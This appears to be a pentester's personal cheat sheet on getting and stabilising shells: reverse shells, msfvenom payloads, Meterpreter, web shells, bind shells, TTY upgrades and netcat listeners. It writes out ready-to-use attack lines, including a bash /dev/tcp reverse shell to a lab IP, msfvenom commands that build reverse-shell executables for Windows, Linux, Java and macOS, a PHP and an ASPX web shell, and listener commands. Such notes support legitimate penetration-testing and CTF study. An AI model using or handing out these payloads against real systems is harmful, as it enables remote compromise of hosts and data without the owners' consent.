Table of Contents


Reverse shells

Revshells are the most common type of shells. The connection comes from the target into the attacker which often bypasses basic firewall protection.

Basic

Bash: bash -c 'bash -i >& /dev/tcp/10.10.15.189/1337 0>&1;'

Online

Some nice shells can be found revshells.com and pentestmonkey.net.

Msfvenom

There are two types of payloads in msfvenom - staged and stagless.
Staged payloads use a slash (/) and download the second stage after connecting, while stageless payloads use an underscore (_) and include everything in one binary.
Staged: windows/meterpreter/reverse_tcp
Stageless: windows/meterpreter_reverse_tcp

Selecting the appropriate payload type depends on various factors:

  • Target environment: Staged payloads are better suited for environments with strict size constraints, while non staged payloads excel in unstable network conditions.
  • Security measures: Analyze the defensive mechanisms in place. Staged payloads might bypass certain protections, but they also increase exposure due to additional network activity.
  • Operational goals: For stealth and adaptability, staged payloads are ideal. For simplicity and reliability, non staged payloads may be preferred.

Rule of thumb: Use stagless as a primary option, consider staged in more closely secured environments.

msfvenom can generate great shells, here few common examples:
Powershell - msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.15.189 LPORT=1337 -f ps1 -o shell.mp4
EXE - msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > nameoffile.exe
EFI - msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf
ASP - msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp
WAR - msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war
JSP - msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp
MAC - msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho

Meterpreter

Meterpreter is a feature reach shell closely integrated with msfvenom and metasploit suite. It allows for really stable shells. Due to automation and certificate preperation I don’t have much expirience with it. The basic workflow is to generate a meterpreter shell in msfvenom, start a given exploit in metasploit and select it. If the exploit is successful it will run a handler in the background and create a stable meterpreter shell. You can also upload the meterpreter shell onto the target host and execure it manually, you can then run exploit/multi/handler in metasploit to have the best integration - nc would likely also work but it’s meant to work with metasploit.

Web shells

Webshells are most often uploaded files into the webserver that makes it or the underling system excecute remotely inputted commands.

Here are some types of simple webshells which can be used on a number of different webservers:
PHP: <?php system($_GET["cmd"]); ?>
ASPX - <% Set rs = CreateObject("WScript.Shell") Set cmd = rs.Exec("cmd /c whoami") o = cmd.StdOut.Readall() Response.write(o) %>
There is a great shell in the webshells tool called cmd

Bind shells

Bind shells are shells where the connection comes from the attacker to a target which has a running listener on the target host. They are rarer, but can be utilized when already on the target and searching for more stable connection. Low security profile can allow such technique to work.

Improving shells

Often first shells you will get will be very unstable and weak, lacking basic features like tab to autocomplete or arrow keys to move and select previous commands.

Concept

In the old days (50s - 70s), commands were physically written on an electromechanical teletype (TTY) so that the output could’ve been printed on the paper. With time, teletypes and their output got fully digitilized turning TTY into software. Nowdays TTY is the back-bone interface betweeen user and the kernel. On top of TTY we use other concepts like specific terminals that we pick which can run terminal multiplexers for additional productivity. A terminals create a PTY in the bakcground which mimick the behavior of real TTYs for software usage. Shells help with interpreting commands for kernel.

Terminal Multiplexer - Tool that manages multiple shell sessions inside one terminal (tmux)
Terminal - Usually meant to be a GUI tool that let’s you talk with the kernel(kitty, terminator)
Shells - Shell is a command interpreter that takes human commands and translates them for kernel (bash, sh, zsh)
PTY - Pseudo terminals are virtual terminals for tools - most often remote - that need need a terminal to communicate with the OS and work properly (/dev/pts, pty.spawn("/bin/sh"), ssh)
TTY - Linux Kernel-level interface for text I/O sessions (/dev/tty, CTRL + ALT + F1, Login Screen)

When you get a basic connection on a target it can often be a raw input/ouput connection without any features. To fight with this and make our life easier, we try to improve those non-interactive shells into full-interactive ones.

Commands

When python is avaiable (often on Linux) python3 -c 'import pty;pty.spawn("/bin/bash")' or variants like python -c 'import pty; pty.spawn("/bin/sh")' spawn a python PTY which is really stable. script /dev/null -c bash is also good on Linux. This will change raw communication into a real PTY.script /dev/null -c bash

After that, to fight with lacking translation of key strokes it a good idea do background the PTY with CTRL+Z and run stty raw -echo; fg which configures the local terminal to stop processing and echoing characters, allowing the remote PTY to handle keyboard input directly. This improves interactivity and fixes many issues with keys. After that the output can look a bit scuffed so reset should fix that.

Lastly export TERM=xterm sets the terminal type so interactive programs know which terminal capabilities are available. This enables features such as proper screen drawing, colors, cursor movement, tab completion, and text editors like vim or nano to function correctly.

Listeners

For the longest time nc -lnvp 1337 was my go-to if it comes to listeners, however with tha addition of rlwrap -cAr nc -lnvp 1337 you can get additionally better shell with auto-complete and often working arrow keys which turns out to be a real time saver.